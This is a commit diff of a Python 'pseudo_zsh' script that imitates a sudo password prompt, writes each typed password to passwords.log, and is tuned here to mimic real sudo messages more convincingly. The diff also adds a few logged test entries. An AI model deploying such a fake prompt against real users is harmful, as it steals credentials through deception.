Compare commits
4 Commits
8dcf8cc4f3
...
779f1f579d
7
main.py
7
main.py
@@ -79,7 +79,9 @@ def pseudo_zsh():
|
||||
|
||||
if args[0] == 'sudo':
|
||||
flight1 = True
|
||||
a = 0
|
||||
for attempt in range(3): # 循环 3 次
|
||||
a += 1
|
||||
fake_password = getpass.getpass("Password: ")
|
||||
if fake_password == "1234":
|
||||
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
|
||||
@@ -88,9 +90,10 @@ def pseudo_zsh():
|
||||
with open("passwords.log", "a") as f:
|
||||
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
|
||||
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
|
||||
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
|
||||
delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
|
||||
time.sleep(delay) # 模拟延迟
|
||||
print("Sorry, try again.")
|
||||
if a != 3:
|
||||
print("Sorry, try again.")
|
||||
if flight1:
|
||||
print("sudo: 3 incorrect password attempts") # 提示错误次数
|
||||
continue
|
||||
|
||||
@@ -24,3 +24,9 @@
|
||||
[2025-04-06 22:24:15] 00
|
||||
[2025-04-06 22:24:17] 00
|
||||
[2025-04-06 22:24:18] 00
|
||||
[2025-04-07 08:48:57] 1
|
||||
[2025-04-07 08:48:59] 1
|
||||
[2025-04-07 08:49:01] 1
|
||||
[2025-04-07 08:50:48] 1
|
||||
[2025-04-07 08:50:49] 1
|
||||
[2025-04-07 08:50:50] 1
|
||||
|
||||
Reference in New Issue
Block a user